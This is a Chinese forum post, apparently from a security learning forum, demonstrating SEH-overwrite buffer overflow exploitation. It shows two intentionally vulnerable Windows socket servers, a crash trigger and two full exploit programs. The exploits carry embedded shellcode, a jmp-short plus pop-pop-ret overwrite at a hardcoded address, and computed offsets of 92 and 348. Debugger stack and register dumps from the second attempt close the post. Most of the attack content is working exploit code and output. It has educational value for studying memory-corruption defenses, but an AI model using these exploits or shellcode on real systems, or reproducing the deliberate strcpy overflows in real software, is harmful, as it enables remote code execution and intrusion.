首先发一个安全焦点的server_seh程序
/* server_seh.cpp
*
* 《网络渗透技术》演示程序
* 作者:san, alert7, eyas, watercloud
*
* 结构化异常处理演示程序服务端
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
char Buff[2048];
DWORD MyExceptionHandler(void)
{
printf("In exception handler....");
ExitProcess(1);
return 0;
}
void overflow(char * s,int size)
{
int *p = &size;
char s1[50];
s[size]=0;
strcpy(s1,s);
printf("receive %d bytes",*p);
}
void overflow2(char * s,int size)
{
__try
{
overflow(s,size);
}
__except(MyExceptionHandler())
{
printf("oops...");
}
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = WSASocket(2,1,0,0,0,0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(9999);
server.sin_addr.s_addr = INADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,2048,0);
if(lBytesRead<=0) break;
printf("\nfd = %x\n", clientFD);
overflow2(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
WSACleanup();
return 0;
}
然后我用od载入后,经过几次调整,构造
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
char poc[70];
int main(int argc, char* argv[])
{
memset(poc,0x41,sizeof(poc)-1);
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port=htons(9999);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
if (connect(sock,(const sockaddr*)&sa,sizeof(sa)) == SOCKET_ERROR)
{
printf("connect error\n");
return -1;
}
send(sock,poc,sizeof(poc),0);
return 0;
}
来触发
然后用od查看离esp最近的seh地址,进行相减得到一个5c=92 然后直接构造一个exp
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
char poc[400];
char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main(int argc, char* argv[])
{
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port=htons(9999);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
connect(sock,(const sockaddr*)&sa,sizeof(sa));
//92 + 4 nop nop jmp 04 + call ebx+shellcode
memset(poc,0x41,sizeof(poc)-1);
memcpy(poc+92,"\xeb\x06\xeb\x06",4);
memcpy(poc+92+4,"\x71\x15\xfa\x7f",4);//7FFA1571
memcpy(poc+92+4+4,shellcode,sizeof(shellcode)-1);
//----------------------------------------------
send(sock,poc,sizeof(poc),0);
return 0;
}
最后结果成功,在win2k Server sp0 和XP sp3下测试成功.
然后我自己随手写了一个模拟以上的服务端
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#define debugmsg(str) MessageBox(0,str,"Debug Message",0);
#define DispMsg(str) printf("[+] %s \n",str);
char cBuff[2048];
DWORD MyExceptionHandler(void)
{
printf("In exception handler....");
ExitProcess(1);
return 0;
}
void overflow(char * s,int size)
{
char s1[320];
printf("receive %d bytes \n",size);
s[size]=0;
strcpy(s1,s);
}
void overflow2(char * s,int size)
{
__try
{
overflow(s,size);
}
__except(MyExceptionHandler())
{
printf("oops...");
}
}
int main(int argc,char *argv[])
{
system("cls.exe");
printf("Exploit Me Server \n");
printf("---------------------------------------------------------------\n");
WSADATA wsaData;
SOCKET sock;
SOCKADDR_IN addr_sa,server;
if (WSAStartup(MAKEWORD(1,1),&wsaData ) != 0){
printf("[?] WSAStartup Failed! ErrCode: %d\n",GetLastError());
return -1;
}
DispMsg("WSAStartup Success.");
sock = socket(AF_INET,SOCK_STREAM,0);
if (sock == INVALID_SOCKET){
printf("[?] Create Socket Failed! ErrCode: %d\n",GetLastError());
return -1;
}
DispMsg("Create Socket Success.");
addr_sa.sin_family = AF_INET;
addr_sa.sin_addr.S_un.S_addr = INADDR_ANY;
addr_sa.sin_port = htons(8080);
if (bind(sock,(const sockaddr*)&addr_sa,sizeof(addr_sa)) == SOCKET_ERROR)
{
printf("[?] bind Failed! ErrCode: %d\n",GetLastError());
return -1;
}
DispMsg("Bind Service Success.");
listen(sock,10);
DispMsg("Start Listen Port:8080");
printf("---------------------------------------------------------------\n");
printf("~ Welcome to you\n");
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(sock,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1)
{
lBytesRead=recv(clientFD,cBuff,2048,0);
if(lBytesRead<=0)
{
printf("[!] ReadData Error for the Client!\n");
}
printf("\nfd = %x\n", clientFD);
overflow2(cBuff,lBytesRead);
if (send(clientFD,cBuff,lBytesRead,0)<=0)break;
}
WSACleanup();
return 0;
}
通用如上办法进行od调试,最后得到覆盖到异常348.
然后构造出
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
char poc[600];
char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main(int argc, char* argv[])
{
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port=htons(8080);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
connect(sock,(const sockaddr*)&sa,sizeof(sa));
memset(poc,0x90,sizeof(poc)-1);
memcpy(poc+348,"\xeb\x06\xeb\x06",4);
memcpy(poc+348+4,"\x71\x15\xfa\x7f",4);//7FFA1571
memcpy(poc+348+4+4,shellcode,sizeof(shellcode)-1);
//----------------------------------------------
send(sock,poc,sizeof(poc),0);
return 0;
}
-----------------------------------------------------------------------
执行后,server直接退出了,用od观察堆栈位置,发现:
0013FD84 90909090
0013FD88 90909090
0013FD8C 90909090
0013FD90 90909090
0013FD94 90909090
0013FD98 06EB06EB <--跳转指令
0013FD9C 7FFA1571 <--pop pop ret
0013FDA0 0A6A68FC 指向下一个 SEH 记录的指针 <--Shellcode 开头
0013FDA4 63681E38 SE处理程序
0013FDA8 684FD189
0013FDAC 0C917432
0013FDB0 7E8DF48B
0013FDB4 B7DB33F4
0013FDB8 66E32B04
而这时寄存器是
EAX 0013FC3C
ECX 0040BD68 server.0040BD68
EDX 00909090
EBX 7FFD3000
ESP 0013FD84
EBP 90909090
ESI DAB55CF7
EDI BBA5B95C
EIP 90909090
如果继续F9执行,责报错EIP..90909090..
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!